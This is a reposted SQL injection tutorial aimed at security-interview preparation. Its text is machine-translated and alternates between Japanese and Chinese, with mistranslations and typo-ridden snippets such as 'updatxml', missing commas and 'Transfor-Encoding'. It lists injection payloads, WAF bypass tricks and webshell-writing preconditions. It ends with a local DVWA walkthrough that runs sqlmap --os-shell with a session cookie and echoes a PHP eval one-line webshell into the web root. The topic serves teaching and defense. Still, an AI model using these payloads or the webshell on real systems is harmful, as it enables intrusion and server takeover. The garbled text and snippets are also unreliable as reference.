【SQLインジェクションの詳しい説明】


序文

ネットワークセキュリティの面接でよく聞かれるSQLインジェクションについて、今回はSQLインジェクションの原理や火災予防対策などを中心に、二次インジェクションやワイドバイトインジェクションなどの種類について紹介します。


トピック


1. SQL インジェクションの原理、危険性、種類、保護手段、バイパス方法、WebShell への書き込みの前提条件

原理:

プログラム開発のプロセスでは、標準の記述に注意が払われていないため、sql キーワードはフィルタリングされず、クライアントは POST または GET を通じて SQL ステートメントをサーバーに送信して正常に実行できます。
SQL インジェクションとは、Web フォームに SQL コマンドを挿入して、ドメイン名またはページ リクエストのクエリ文字列を送信または入力し、最終的にサーバーをだまして悪意のある SQL コマンドを実行させることです。

危害:

1)攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
(2)通过操作数据库对某些网页进行篡改。
(3)修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;攻击者进而可以对网页进行篡改,发布一些违法信息等。
(4)服务器被远程控制,被安装后门。可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
(5)数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
(6)破坏硬盘数据,导致全系统瘫痪。

タイプ:

1.ユニオンジョイント注入

一般的なプロセス:

1.查找注入点
2.验证注入类型(数字,字符)
3.判断闭合类型(‘ ||||)4.判断字段数(order by || group by)
5.判断回显位(union select)
6.查数据库名
7.查表名,字段名
8.查表中具体数据

2. エラー挿入

共通機能:

1.extractvalue(1,concat('~',(select database())))
2.updatxml(1,concat('~'(select database())),3)
3.floor()

3. ブールブラインド

通常のプロセス:

1.利用length()函数判断数据库名长度
2.再利用substr(),或者substring()函数对数据库名截取单个字符
3.利用ascii()函数将其转换为asc码,确定字符,依次进行
4.再猜表名,流程和上面一样

この方法は非常に時間がかかるので、brupsuite ブラストを一緒に使用するか、DNS_log ブラインド インジェクションを試した方が速くなります。

4. タイムブラインド

一般的なプロセス:

和布尔盲注很类似,只需要增加使用if()函数和sleep()函数

5. 2回目の注入

原則:
セカンダリ インジェクションの原則は、初めてデータベースにデータを挿入するときに、addslashes のみを使用するか、get_magic_quotes_gpc を使用してその中の特殊文字をエスケープしますが、addslashes にはフィルタリング後にパラメータがフィルタリングされますが、Add "\ " を使用してエスケープしますが、"\" はデータベースに挿入されず、データベースへの書き込み時に元のデータが保持されます。
データをデータベースに保存した後、開発者はそのデータが信頼できるものであると判断します。次のクエリが必要な場合、ダーティ データはそれ以上の検査や処理を行わずにデータベースから直接取り出されます。これにより、SQL の二次インジェクションが発生します。
たとえば、初めてデータを挿入するとき、データには一重引用符が含まれており、データベースに直接挿入されますが、次に使用するときに結合する過程で、2 次注入が形成されます。

SQLIlab lesson-24
注册一个名为admin' #的用户,密码为123456
再用admin‘ #用户登录 ,修改密码为 123
结果admin' #用户的密码并没有被修改,而admin的密码被修改了,为123
因为此处的sql语句为
update users set password=123 where username='admin'#' and pass='xxx'
很明显修改的是admin的密码,后面被注释了,这就是二次注入

二次噴射防止対策:

1)对外部提交数据谨慎,以及sql注入通用的防范措施
(2)从数据库取数据时,不能轻易相信查询出的数据,要做到同样的转义或是甄别

6. ワイドバイトインジェクション (%df)

共通関数のエスケープ:

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
mysql_escape_string() 转义一个字符串

ナロー、ワイド、および一般的なワイド エンコーディングとは次のとおりです。

当某字符的大小为一个字节时,称其字符为窄字节.
当某字符的大小为两个字节时,称其字符为宽字节.
所有英文默认占一个字节,汉字占两个字节
常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等

原則:
ワイドバイト インジェクションは主に、プログラマがデータベース エンコーディングと PHP エンコーディングを 2 つの異なるエンコーディング形式に設定し、その結果ワイドバイト インジェクションが発生することが原因です。

データベースが GBK エンコーディングを使用しており、PHP エンコーディングが UTF8 である場合、インジェクションの問題が発生する可能性があります。その理由は、SQL インジェクションを防ぐために、プログラマが上で紹介したいくつかの関数を呼び出して一重引用符または二重引用符をエスケープするためです。エスケープは単なるものではありません。エスケープするために一重引用符または二重引用符の前にスラッシュを追加しますが、これは安全ではありません。データベースはワイドバイト エンコーディングを使用しており、結合された 2 つの文字は中国語の文字とみなされ、PHP で使用される UTF8 エンコーディングは 2 つの文字とみなされます。一重引用符または二重引用符の前に文字 (%df) を追加すると、スラッシュ (\) と組み合わせて漢字として扱われるため、一重引用符または二重引用符は保持されます。アプリケーションとして機能します。

ただし、追加する文字の Ascii は 128 より大きくなければならず、漢字の範囲に達するには前の ASCII コードが 128 より大きくなければならないため、2 つの文字を組み合わせて中国語にすることができます。

ワイドバイトインジェクションの保護対策:

1)使用mysql_set_charset(GBK)指定字符集
(2)使用mysql_real_escape_string进行转义
原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现两个字符拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?
就是使用mysql_set_charset进行指定。
(3)使用 UTF-8 字符集来减轻注入情况;
(4)统一数据库、Web 应用、操作系统所使用的字符集,避免解析产生差异;

保護対策:

1.限制数据类型
2.正则表达式匹配传入参数(过滤掉常用注入语句,select,andunion,order by)
3.字符转义
4.预编译语句(目前最有效的方式,将数据与代码分离的方式,把传入的参数绑定为一个变量,不会被当做之前的SQL语句被带入数据库执行,避免了类似sql语句拼接、闭合等非法操作)
5.使用数据库自带的安全参数

バイパス方法:


1.大小写,重写
2.URL编码特殊字符
3.内联注释,搭配%0A
4.同功能函数替换
一.替换information_schema为sys.schema_table_statistics_with-buffer爆表名
二.substring()被WAF过滤,但substring()可以用同功能的mid()substr()等函数来替换,都是用来取字符串的某一位字符的。
5.逗号过滤,可使用join注入
一.id=1 union select * from (select 1)a join (select 2)b join (select 3)c --+    代替 union select 1,2,3.使用join爆列名,但必须要有报错回显,
例:select * from (select * from users as a join users as b using (id,password)as c 
6.
brupsuite-post分块传输(添加字段Transfor-Encoding:Chunked ,0 0 回车结尾,可借助插件)
dnslog盲注
join函数超大数据包(仅限于post提交方式,)绕过

WebShell に書き込むための前提条件:

1.有网站当前目录的绝对路径 @@datadir
2.mysql服务对网站的网络路径有写权限
启动phpstudy,在my.ini中添加此句
secure_ file _ priv=’’ 表示不限制写入或导出
3.mysql连接用户有file权限
4.未对sql语句进行转义

2. mysql5.0 以降のバージョンの違い

1. Mysql5.0 および 5.0 より上のバージョンには、information_schema と呼ばれる組み込みシステム データベースがありますが、5.0 より前のバージョンには存在しません。
information_schema には、スキーマ、テーブル、列のテーブルが含まれます。
これら 3 つのテーブルには、フィールドが順番に格納されます: (schema_name)、(table_name、table_schema)、(table_schema、table_name、column_name)
2. 2 つ目は、5.0 より上のバージョンはマルチユーザーであり、5.0 より下のバージョンはシングル ユーザーです。

3. sqlmap が文を書き込む トロイの木馬

sqlmap --os-shell パラメータを通じてシェルを取得し、echo コマンドを実行して文を書き込みます。 Trojan
sqlmap --os-shell パラメータは、
mysql データベースに sqlmap の --os-shell の原理を導入します。
そのうちの 1 つは、スクリプト ファイルを現在のディレクトリにアップロードできるファイル アップロード ページを提供します。
もう 1 つは、システム コマンドの実行を可能にするコマンド ラインを返すこと、つまりシェルをバウンスするか、Web ページ URL で cmd パラメーターを渡すことによってシステム コマンドを実行することです。

例: 以下は、ローカルに構築された dvwa 環境で作成された sqlmap を使用して、一文のトロイの木馬を作成する実験です。

1. まず dvwa にログインし、セキュリティ モードを低レベルに変更します。

2. 次に再度ログインし、bp を使用してパケットをキャプチャし、Cookie を取得します

。 3. 手動挿入により現在の絶対パスを直接取得します。
ここに画像の説明を挿入

4. dvwa と入力して URL をコピーし、sqlmap --os-shell パラメータを使用してシェルを取得し、前に取得した Cookie を設定します。

sqlmap -u "http://10.40.1.22/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie  "security=low; PHPSESSID=6717e20fcdcc2c69cd498094bc27817d" --os-shell

ここに画像の説明を挿入ここに画像の説明を挿入
システム権限を直接取得していることがわかります。

5. 次に、echo ステートメントを使用してトロイの木馬の文を書くことができます

echo "<?php @eval($_POST[123]); ?>" > D:/phpStudy/PHPTutorial/WWW/hepeng.php

ここに画像の説明を挿入
6. Ant Sword の接続検証が成功しました。
ここに画像の説明を挿入


要約する

今回は主にSQLインジェクションに関する知識を紹介します。

おすすめ

転載: blog.csdn.net/qq_61872115/article/details/126380325